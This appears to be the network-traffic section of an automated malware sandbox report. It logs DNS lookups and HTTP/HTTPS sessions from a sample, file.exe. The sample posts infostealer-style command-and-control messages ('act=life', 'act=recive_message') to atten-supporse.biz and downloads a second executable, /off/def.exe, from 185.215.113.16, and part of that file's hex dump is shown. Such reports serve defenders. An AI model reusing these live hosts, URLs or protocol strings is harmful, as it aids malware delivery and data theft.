Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 03:41:14.775593042 CET	192.168.2.7	1.1.1.1	0x5488	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:21.296574116 CET	192.168.2.7	1.1.1.1	0xa6a3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:21.296705961 CET	192.168.2.7	1.1.1.1	0xc9bf	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 03:42:24.509002924 CET	192.168.2.7	1.1.1.1	0x9634	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:24.509180069 CET	192.168.2.7	1.1.1.1	0x251f	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 10, 2024 03:42:36.202927113 CET	192.168.2.7	1.1.1.1	0x30b5	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:36.203061104 CET	192.168.2.7	1.1.1.1	0xacbb	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 03:41:14.993468046 CET	1.1.1.1	192.168.2.7	0x5488	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:41:14.993468046 CET	1.1.1.1	192.168.2.7	0x5488	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:41:14.993468046 CET	1.1.1.1	192.168.2.7	0x5488	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:41:14.993468046 CET	1.1.1.1	192.168.2.7	0x5488	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:41:14.993468046 CET	1.1.1.1	192.168.2.7	0x5488	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:41:14.993468046 CET	1.1.1.1	192.168.2.7	0x5488	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:41:14.993468046 CET	1.1.1.1	192.168.2.7	0x5488	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:21.434294939 CET	1.1.1.1	192.168.2.7	0xc9bf	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 03:42:21.434320927 CET	1.1.1.1	192.168.2.7	0xa6a3	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:24.646919966 CET	1.1.1.1	192.168.2.7	0x9634	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:24.646919966 CET	1.1.1.1	192.168.2.7	0x9634	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:24.646919966 CET	1.1.1.1	192.168.2.7	0x9634	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:24.646919966 CET	1.1.1.1	192.168.2.7	0x9634	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:24.898678064 CET	1.1.1.1	192.168.2.7	0xfdd0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:25.014013052 CET	1.1.1.1	192.168.2.7	0x4e82	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:25.014013052 CET	1.1.1.1	192.168.2.7	0x4e82	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:25.014013052 CET	1.1.1.1	192.168.2.7	0x4e82	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:25.035182953 CET	1.1.1.1	192.168.2.7	0x251f	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:25.035182953 CET	1.1.1.1	192.168.2.7	0x251f	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:27.832165956 CET	1.1.1.1	192.168.2.7	0xd859	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:27.832165956 CET	1.1.1.1	192.168.2.7	0xd859	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:27.832165956 CET	1.1.1.1	192.168.2.7	0xd859	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 03:42:27.838917971 CET	1.1.1.1	192.168.2.7	0xa83a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:36.444442987 CET	1.1.1.1	192.168.2.7	0x30b5	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 03:42:36.445286989 CET	1.1.1.1	192.168.2.7	0xacbb	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49820	185.215.113.16	80	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 03:42:03.710388899 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 10, 2024 03:42:05.038831949 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 02:42:04 GMT Content-Type: application/octet-stream Content-Length: 2780672 Last-Modified: Tue, 10 Dec 2024 02:24:33 GMT Connection: keep-alive ETag: "6757a661-2a6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 1e 8d 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@hbzvrkpv :@hnehdnuc H@.taggant@"L*@
Dec 10, 2024 03:42:05.038865089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 03:42:05.038877010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 03:42:05.038944960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 03:42:05.038991928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 03:42:05.039002895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 03:42:05.039014101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 03:42:05.039247036 CET	1236	IN	Data Raw: a8 9c df 23 70 fb de fe c7 c8 c0 66 f7 1e 63 d4 ab 37 79 c4 6a d5 6c 84 3b 8e 0a e5 81 35 9a ce 6f 00 b4 5f 86 13 59 04 bf 4b 03 2e 96 d9 ce e3 da b1 3e d4 1e 82 cb e8 c8 d3 c1 ea d8 89 87 f1 d6 9a 2e 24 70 87 d2 0c 6c be 3f ee fa b8 c1 73 0e 63 Data Ascii: #pfc7yjl;5o_YK.>.$pl?scVi`S=K.-FMk&#ro429 *N]()U5"[Hw=yBv2<RgK7Y_
Dec 10, 2024 03:42:05.039261103 CET	1236	IN	Data Raw: 5c 9f 28 0e b4 9f 24 c2 ab 68 a0 2d f1 a0 2a 55 0a a8 2e 2a 78 d5 0c c5 3a 07 04 3e d4 c0 d4 23 0a a8 14 c4 a8 e0 10 21 a3 95 52 a6 d3 9f 68 24 0a fc 28 16 78 c4 78 d0 66 3b 4e 6a 0c a0 4c cd 7a a3 b4 49 f1 1c db bc d3 00 3c 23 4a b3 54 76 42 58 Data Ascii: \($h-U.x:>#!Rh$(xxf;NjLzI<#JTvBXZcD2$J,:T^u!tr4"&c*os:T%Q:#T4<BIkJAqW c\-H
Dec 10, 2024 03:42:05.039273024 CET	1236	IN	Data Raw: 13 ba 2f 3d 7e d8 28 f1 17 e7 98 23 df 64 d9 af c4 95 26 16 04 8f 04 9d cf f6 19 05 65 78 73 80 6d a7 1a 13 c6 1b 06 ff 59 f9 f3 f0 2a b2 13 8d 19 80 74 34 f4 e5 57 02 da 90 4a 02 69 f5 78 49 42 8f 7c d5 d8 f9 64 3b c3 4a b4 22 4c 2f 0f 72 87 66 Data Ascii: /=~(#d&exsmYt4WJixIB\|d;J"L/rfCqf3(T/GtN'3 eA#jT.BKa7=Rew.KW^bh&=0Yi]HC,Y
Dec 10, 2024 03:42:05.159729004 CET	1236	IN	Data Raw: cb c7 ff 99 21 b4 c9 ca 26 38 c3 ff ed 94 06 c3 f6 8f da 63 f6 b4 68 f6 f9 aa fc 1d f3 87 fd d2 f6 84 62 38 09 b3 b6 b0 76 7b cd 6c 15 45 2b 55 0b 5e 70 3f 13 e2 20 e6 0a 92 d6 0f 6c f3 7c 38 fc e1 7e 21 66 f5 67 95 89 bf dd b3 b9 e9 79 61 6a 78 Data Ascii: !&8chb8v{lE+U^p? l\|8~!fgyajxcU+'v3Td3.9Z(;87+,YH4;39 ,2@ G4B],}!$224%@8h-g~>H`\|6 4Vs\

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49706	104.21.32.1	443	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 02:41:16 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 02:41:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 02:41:18 UTC	1025	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 02:41:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kuontimaeq69ukrm4sha3025ar; expires=Fri, 04-Apr-2025 20:27:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oZ7tjTQFbkENEyYD4cEnMb%2F%2F4Ccj%2FaOwoS7AxSVos3HmTVmx%2BfQUY%2BR87NHfU8epVFt7Gl3QfaAktl4cEvo0BvI%2FG3IJsq79MTRd%2BaDYtljIfgm2DRWeVIvaEm9J42hZEau7v8A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9dffe3d5d43a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4600&min_rtt=1681&rtt_var=2534&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1737061&cwnd=179&unsent_bytes=0&cid=ad669c85aa046c36&ts=2434&x=0"
2024-12-10 02:41:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 02:41:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49708	104.21.32.1	443	7672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 02:41:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 02:41:20 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 02:41:22 UTC	1030	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 02:41:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b8c11u7kqgs2uiqj5dnub58h0k; expires=Fri, 04-Apr-2025 20:28:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e5fkhi%2FXqe%2FyWesSHM1lYZKwOEPDPOIdfu%2F2t%2F38%2FGV1MFmOh3o3%2BH5cgUgNduMoVrmMHOc8jcCC%2FIpAio%2BkwS5xMniZT22pQm4ZB%2FqcFx7fnkvvGkcWFF%2BaeWLOK0zEBibWneU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9e0190b978c83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1829&min_rtt=1812&rtt_var=715&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1494370&cwnd=189&unsent_bytes=0&cid=129141ce2fe37f8d&ts=1871&x=0"
2024-12-10 02:41:22 UTC	339	IN	Data Raw: 31 64 32 66 0d 0a 5a 78 41 35 48 65 4a 59 45 4c 73 6b 46 73 49 41 30 46 6a 4d 2b 42 76 54 57 4a 49 77 63 71 37 57 57 70 70 4c 56 37 53 6d 32 37 77 63 4d 6b 38 2f 32 47 77 38 6d 56 64 7a 34 44 71 6b 4b 72 6d 64 4e 2f 45 35 39 68 4a 49 79 4c 63 32 36 53 35 37 6c 74 43 32 6e 6c 31 32 57 48 47 52 50 54 79 5a 51 57 37 67 4f 6f 73 6a 37 70 31 31 38 57 4b 77 56 52 6a 4d 74 7a 62 34 4b 6a 7a 62 31 72 66 66 44 33 78 65 64 59 63 37 64 4e 70 49 65 36 64 6c 74 54 6d 6d 6c 6e 4b 2b 4d 50 38 53 58 6f 79 7a 49 4c 68 78 64 66 6e 44 72 39 30 71 63 55 70 32 77 43 55 38 77 41 5a 7a 72 43 4c 71 65 71 32 64 65 62 38 2b 39 6c 73 61 78 72 34 2b 2b 53 38 39 78 4d 2b 39 31 41 39 79 58 58 53 4e 4d 6d 44 58 51 6e 79 73 59 37 38 35 37 74 51 35 74 69 4b 77 43 6c 43 66 68 6a 76 70 4f Data Ascii: 1d2fZxA5HeJYELskFsIA0FjM+BvTWJIwcq7WWppLV7Sm27wcMk8/2Gw8mVdz4DqkKrmdN/E59hJIyLc26S57ltC2nl12WHGRPTyZQW7gOosj7p118WKwVRjMtzb4Kjzb1rffD3xedYc7dNpIe6dltTmmlnK+MP8SXoyzILhxdfnDr90qcUp2wCU8wAZzrCLqeq2deb8+9lsaxr4++S89xM+91A9yXXSNMmDXQnysY7857tQ5tiKwClCfhjvpO
2024-12-10 02:41:22 UTC	1369	IN	Data Raw: 32 63 73 6c 73 4f 31 6e 6c 30 79 58 58 47 42 4e 33 4c 4c 54 6e 2b 72 5a 36 41 78 70 35 64 30 73 54 66 36 58 52 50 4d 73 7a 4c 79 4a 6a 2f 53 79 62 54 59 42 58 49 62 4d 63 41 39 61 70 6b 65 4e 49 4e 6e 6f 6a 32 69 6a 44 75 4c 65 75 38 63 43 59 79 7a 4e 4c 68 78 64 64 37 42 75 74 30 4f 66 56 68 33 69 79 68 79 79 30 42 35 70 58 43 30 50 36 43 51 65 71 4d 77 2f 6c 51 54 78 62 38 78 2f 53 34 78 6c 6f 72 35 32 52 30 79 41 7a 2b 68 4e 33 6e 56 54 47 4f 67 49 71 31 30 74 39 70 2b 76 58 71 6f 45 68 54 4e 73 44 6e 38 4a 7a 76 53 79 4c 2f 51 43 48 31 64 64 59 41 39 65 4e 46 4f 64 61 31 70 76 54 71 72 6c 33 32 33 4e 76 46 58 55 49 4c 30 50 2b 42 70 62 5a 62 71 76 74 30 58 4d 47 35 38 6a 6a 52 31 7a 77 5a 72 37 6e 76 79 50 61 4c 61 49 66 45 30 39 56 30 43 7a 61 59 39 Data Ascii: 2cslsO1nl0yXXGBN3LLTn+rZ6Axp5d0sTf6XRPMszLyJj/SybTYBXIbMcA9apkeNINnoj2ijDuLeu8cCYyzNLhxdd7But0OfVh3iyhyy0B5pXC0P6CQeqMw/lQTxb8x/S4xlor52R0yAz+hN3nVTGOgIq10t9p+vXqoEhTNsDn8JzvSyL/QCH1ddYA9eNFOda1pvTqrl323NvFXUIL0P+BpbZbqvt0XMG58jjR1zwZr7nvyPaLaIfE09V0CzaY9
2024-12-10 02:41:22 UTC	1369	IN	Data Raw: 36 45 69 4d 6b 4f 4d 47 35 38 6a 6a 52 31 7a 77 5a 72 37 6e 76 79 50 61 4c 61 49 66 45 33 2b 46 63 56 77 37 55 79 39 69 77 2f 32 73 79 33 33 52 64 39 58 33 2b 4d 4d 6e 6a 55 53 48 43 6f 61 37 6b 78 71 4a 70 34 75 33 71 2b 45 68 66 55 39 47 43 34 48 54 4c 61 79 62 61 63 4d 48 46 56 63 59 63 73 4d 73 59 49 62 65 42 6c 76 6e 72 32 32 6e 57 34 4f 76 74 59 46 4d 79 7a 4e 66 30 71 4d 74 58 4a 76 74 51 4c 64 56 39 7a 69 54 64 30 32 55 46 77 70 58 43 33 4d 36 4b 57 4f 66 39 36 39 30 70 51 6c 50 51 58 2f 7a 38 32 2b 63 65 6f 31 30 56 74 46 57 62 41 50 58 36 5a 48 6a 53 6e 5a 37 6f 78 71 4a 4a 35 6f 7a 2f 2b 57 52 48 47 73 6a 6e 31 4a 54 50 57 78 62 6e 59 43 58 4a 63 65 4a 49 6f 64 39 39 55 66 75 41 73 38 6a 32 32 32 69 48 78 44 4f 42 46 41 64 72 32 44 66 73 6e 4f Data Ascii: 6EiMkOMG58jjR1zwZr7nvyPaLaIfE3+FcVw7Uy9iw/2sy33Rd9X3+MMnjUSHCoa7kxqJp4u3q+EhfU9GC4HTLaybacMHFVcYcsMsYIbeBlvnr22nW4OvtYFMyzNf0qMtXJvtQLdV9ziTd02UFwpXC3M6KWOf9690pQlPQX/z82+ceo10VtFWbAPX6ZHjSnZ7oxqJJ5oz/+WRHGsjn1JTPWxbnYCXJceJIod99UfuAs8j222iHxDOBFAdr2DfsnO
2024-12-10 02:41:22 UTC	1369	IN	Data Raw: 61 43 33 52 64 63 6f 55 31 65 4d 74 4f 65 71 31 70 76 54 47 38 6d 6e 53 31 4e 76 52 61 47 38 62 30 64 72 67 75 4c 5a 61 63 2b 65 73 49 66 56 74 38 6c 6e 70 74 6c 31 38 30 70 32 37 79 59 75 36 57 64 37 45 31 2f 46 34 62 78 4c 55 30 39 69 34 77 33 38 79 78 7a 41 52 32 55 33 36 4f 4e 58 50 64 51 33 47 6b 5a 62 59 38 6f 64 6f 33 38 54 33 6f 45 6b 69 4d 6d 78 2f 4e 61 78 54 73 68 4b 61 51 48 44 4a 63 63 38 42 69 4d 74 56 46 65 4b 68 74 74 44 4f 69 6b 48 43 36 4e 76 74 57 48 4d 57 78 50 76 6b 73 4d 4e 66 41 74 64 51 44 63 56 68 77 6a 7a 56 36 6d 51 67 30 70 33 72 79 59 75 36 2f 62 72 6f 30 39 68 49 50 67 71 31 34 2f 79 56 31 6a 6f 53 31 31 77 4e 30 58 6e 4f 42 50 48 72 63 54 6e 43 68 5a 4c 51 35 6f 5a 35 38 73 44 58 30 58 68 37 47 74 54 6e 30 49 6a 72 64 77 66 Data Ascii: aC3RdcoU1eMtOeq1pvTG8mnS1NvRaG8b0drguLZac+esIfVt8lnptl180p27yYu6Wd7E1/F4bxLU09i4w38yxzAR2U36ONXPdQ3GkZbY8odo38T3oEkiMmx/NaxTshKaQHDJcc8BiMtVFeKhttDOikHC6NvtWHMWxPvksMNfAtdQDcVhwjzV6mQg0p3ryYu6/bro09hIPgq14/yV1joS11wN0XnOBPHrcTnChZLQ5oZ58sDX0Xh7GtTn0Ijrdwf
2024-12-10 02:41:22 UTC	1369	IN	Data Raw: 58 58 43 47 4f 33 66 54 53 6e 4f 6c 61 62 30 32 37 74 51 35 74 69 4b 77 43 6c 44 69 76 79 76 76 4b 6a 76 64 30 71 4b 65 47 6a 78 43 50 34 63 32 4d 6f 45 47 64 36 74 70 74 6a 71 69 6d 6e 32 38 4f 75 4a 64 46 38 75 39 4d 2b 6f 6a 4d 74 48 50 73 64 55 4b 64 45 6c 7a 6a 69 68 33 79 31 51 30 37 69 4b 31 49 75 37 43 4f 59 63 39 34 45 49 54 6a 6f 55 75 2b 7a 38 2b 32 38 6a 35 77 55 74 72 47 33 69 4d 65 69 71 5a 51 48 75 70 59 62 30 37 70 35 5a 30 74 44 50 31 55 78 62 49 76 6a 4c 34 4c 7a 50 58 77 62 50 64 42 48 68 53 65 49 67 39 63 63 73 47 4f 75 42 6c 71 6e 72 32 32 6c 43 32 4b 50 35 43 55 4e 50 36 49 62 67 75 4f 5a 61 63 2b 64 6f 50 66 56 39 34 6a 44 78 33 33 30 74 31 72 32 4f 79 4e 61 71 52 63 4c 63 37 2f 56 63 64 79 4b 59 79 38 79 59 35 33 38 69 30 6e 6b 73 Data Ascii: XXCGO3fTSnOlab027tQ5tiKwClDivyvvKjvd0qKeGjxCP4c2MoEGd6tptjqimn28OuJdF8u9M+ojMtHPsdUKdElzjih3y1Q07iK1Iu7COYc94EITjoUu+z8+28j5wUtrG3iMeiqZQHupYb07p5Z0tDP1UxbIvjL4LzPXwbPdBHhSeIg9ccsGOuBlqnr22lC2KP5CUNP6IbguOZac+doPfV94jDx330t1r2OyNaqRcLc7/VcdyKYy8yY538i0nks
2024-12-10 02:41:22 UTC	1369	IN	Data Raw: 7a 6c 67 32 45 42 6d 6f 47 2b 34 4b 4b 53 52 66 4c 77 33 2f 56 45 57 79 72 38 30 36 69 41 31 31 63 2f 35 6b 45 56 31 51 7a 2f 59 65 6c 48 4f 55 48 36 6e 62 71 51 78 72 35 6c 76 76 43 71 77 48 46 44 64 73 79 6d 34 63 53 50 47 30 37 37 42 53 32 73 62 65 49 78 36 4b 70 6c 41 66 61 5a 6c 74 44 53 38 6e 33 2b 2b 4e 66 6c 62 46 4d 53 33 4f 50 77 74 4d 74 50 48 74 64 55 43 63 56 52 37 69 54 52 37 31 67 59 36 34 47 57 71 65 76 62 61 57 4b 6f 35 2f 46 39 51 30 2f 6f 68 75 43 34 35 6c 70 7a 35 30 67 74 33 57 33 57 47 50 6e 66 66 54 48 47 67 61 62 45 31 71 70 78 39 76 6a 72 37 57 78 48 4b 73 54 4c 7a 4c 7a 6a 56 77 72 2b 65 53 7a 4a 63 5a 38 42 69 4d 76 6c 64 65 61 78 6c 38 69 58 67 67 7a 6d 32 4e 72 41 4b 55 4d 65 34 50 50 38 70 4f 4e 58 4d 76 4e 6f 50 64 31 74 33 Data Ascii: zlg2EBmoG+4KKSRfLw3/VEWyr806iA11c/5kEV1Qz/YelHOUH6nbqQxr5lvvCqwHFDdsym4cSPG077BS2sbeIx6KplAfaZltDS8n3++NflbFMS3OPwtMtPHtdUCcVR7iTR71gY64GWqevbaWKo5/F9Q0/ohuC45lpz50gt3W3WGPnffTHGgabE1qpx9vjr7WxHKsTLzLzjVwr+eSzJcZ8BiMvldeaxl8iXggzm2NrAKUMe4PP8pONXMvNoPd1t3
2024-12-10 02:41:22 UTC	295	IN	Data Raw: 41 47 4f 75 42 6c 70 48 72 32 32 6b 66 78 4b 50 4e 43 45 38 4f 6c 42 72 68 78 4c 4f 69 45 73 73 67 43 59 6c 68 70 69 7a 64 2b 79 48 67 30 2b 44 62 67 61 50 7a 49 4b 36 35 36 37 32 31 65 6a 4c 56 34 6f 42 41 73 6c 74 4c 35 68 6c 63 38 47 32 33 41 59 6a 4b 65 52 57 61 79 5a 4c 45 73 72 64 31 48 6a 78 33 6d 57 42 66 63 73 79 2f 33 61 58 75 57 79 2f 6d 47 50 44 4a 53 65 4a 73 72 5a 4e 52 57 63 2b 42 64 2f 48 71 32 32 69 48 78 44 2f 4e 63 48 73 75 69 4b 62 55 4f 49 39 7a 44 71 64 6b 53 66 52 73 78 77 44 77 79 67 52 55 36 34 47 61 6a 65 76 62 4b 4b 2b 70 76 6f 77 56 41 6e 71 74 32 34 57 6b 6a 6c 70 7a 72 6b 45 56 67 47 79 66 41 66 58 48 4c 56 48 4b 6a 64 4c 46 39 6b 4b 52 65 71 7a 66 32 52 51 48 79 69 6a 2f 69 4a 44 50 42 31 66 58 4c 42 6e 78 56 65 4a 5a 36 50 Data Ascii: 